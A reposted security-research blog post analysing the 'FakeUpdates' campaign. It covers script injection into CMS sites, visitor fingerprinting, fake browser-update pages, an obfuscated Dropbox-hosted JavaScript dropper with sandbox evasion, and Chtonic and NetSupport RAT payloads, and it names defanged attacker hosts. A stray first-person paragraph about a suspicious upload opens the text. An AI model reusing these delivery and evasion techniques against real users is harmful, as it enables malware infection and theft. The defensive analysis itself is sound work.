So I login to the admin panel and in the GIT HISTORY it shows that one of my users which has never even logged in before, has sent an upload: site-bundle.js last week, along with some other big list of files {sic}.

We dug deeper into these compromises and identified a slightly different redirection mechanism than the one used on WordPress or Joomla sites. With Squarespace, a blurb of JavaScript is injected directly into the site’s homepage instead.

Figure 8: Traffic showing a malicious redirection taking place on a Squarespace site

It pulls a source file from query[.]network that in turn retrieves bundle.js from boobahbaby[.]com:

Figure 9: The injected code present in hacked Squarespace sites 

bundle.js contains the same script we described earlier that is used to call the redirection URL:

Figure 10: The same redirection code used in WP and Joomla infections is used here

According to this PublicWWW query, a little over 900 SquareSpace sites have been injected with this malicious redirection code.

Figure 11: Identifying other hacked Squarespace sites using a string pattern

Redirection URL and filtering

All CMSes trigger redirection URIs with similar patterns that eventually load the fraudulent update theme. Based on our tests, the URIs have identifiers that apply to a particular CMS; for example cid=221 is associated with WordPress sites, while cid=208 with Joomla.




Open Journal Systems 

Unknown CMS 

There are other interesting artifacts on this infrastructure, such as an ad rotator:


But if we focus on the redirection code itself, we notice that potential victims are fingerprinted and the ultimate redirection to the FakeUpdates template is conditional, in particular with only one hit per single IP address. The last JavaScript is responsible for creating the iframe URL to that next sequence.

Figure 12: Fingerprinting, cookie verification and iframe redirection are performed here

FakeUpdates theme

There are templates for the Chrome, Firefox and Internet Explorer browsers, the latter getting a bogus Flash Player update instead.

Click to view slideshow.

Figure 13: Attackers are targeting browsers with professional looking templates

The decoy pages are hosted on compromised hosts via sub-domains using URIs with very short life spans. Some of those domains have a live (and legitimate website) whereas others are simply parked:

Legitimate (shadowed) domain:


Figure 14: This property’s credentials have most likely been stolen and used to register a malicious subdomain

Parked domain:


Figure 15: Parked domains can hide ulterior motives

Final infection chain and payloads

The infection starts with the fake update disguised as a JavaScript file retrieved from the Dropbox file hosting service. The link to Dropbox, which is updated at regular intervals, is obfuscated inside of the the first web session belonging to the fake theme.

Figure 16: the fileURL variable contains the Dropbox URL

This JavaScript is heavily obfuscated to make static analysis very difficult and also to hide some crucial fingerprinting that is designed to evade virtual machines and sandboxes.

Figure 17: The malicious JavaScript downloaded from DropBox

According to this very good and detailed analysis of the JS file, this is because step2 of the victim’s profiling uses WScript.Network and WMI to collect system information (BIOS, manufacturer, architecture, MAC address, processes, etc) and eventually makes the decision to continue with the payload or end the script without delivering it.

A failed infection will only contain 2 callbacks to the C2 server:

Figure 18: A host that is not a genuine machine was detected and infection aborted

While a successful infection will contain 3 callbacks to the C2 server (including the payload):

Figure 19: When all checks pass, the user is served the payload

The encoded payload stream is decoded by wscript.exe and a malicious binary (Chrome_71.1.43.exe in this case), dropped in the %temp% folder. That file was digitally signed and also employed various evasion techniques (such as an immediate reboot) to defeat sandboxes.

Figure 20: A digitally signed file is no guarantee for safety

Upon examination, we determined that this is the Chtonic banking malware, a variant of ZeusVM. Once the system has restarted, Chtonic retrieves a hefty configuration file from 94.100.18[.]6/3.bin.

In a second replay attempt, we got the NetSupport Remote Access Tool, a commercial RAT instead. Its installation and configuration were already well covered in this blog. Once again, we noticed the heavy use of obfuscation throughout the delivery of this program that can be used for malicious purposes (file transfer, remote Desktop, etc.).

Figure 21: Traffic from the RAT infection, showing its backend server


This campaign relies on a delivery mechanism that leverages social engineering and abuses a legitimate file hosting service. The ‘bait’ file consists of a script rather than a malicious executable, giving the attackers the flexibility to develop interesting obfuscation and fingerprinting techniques.

Compromised websites were abused to not only redirect users but also to host the fake updates scheme, making their owners unwitting participants in a malware campaign. This is why it is so important to keep Content Management Systems up to date, as well as use good security hygiene when it comes to authentication.

Malwarebytes blocks the domains and servers used in this attack, as well as the final payload.

Indicators of compromise

Redirection infrastructure:


Dropped binaries:



NetSupport RAT


The post ‘FakeUpdates’ campaign leverages multiple website platforms appeared first on Malwarebytes Labs.

Go to Source
Author: Jérôme Segura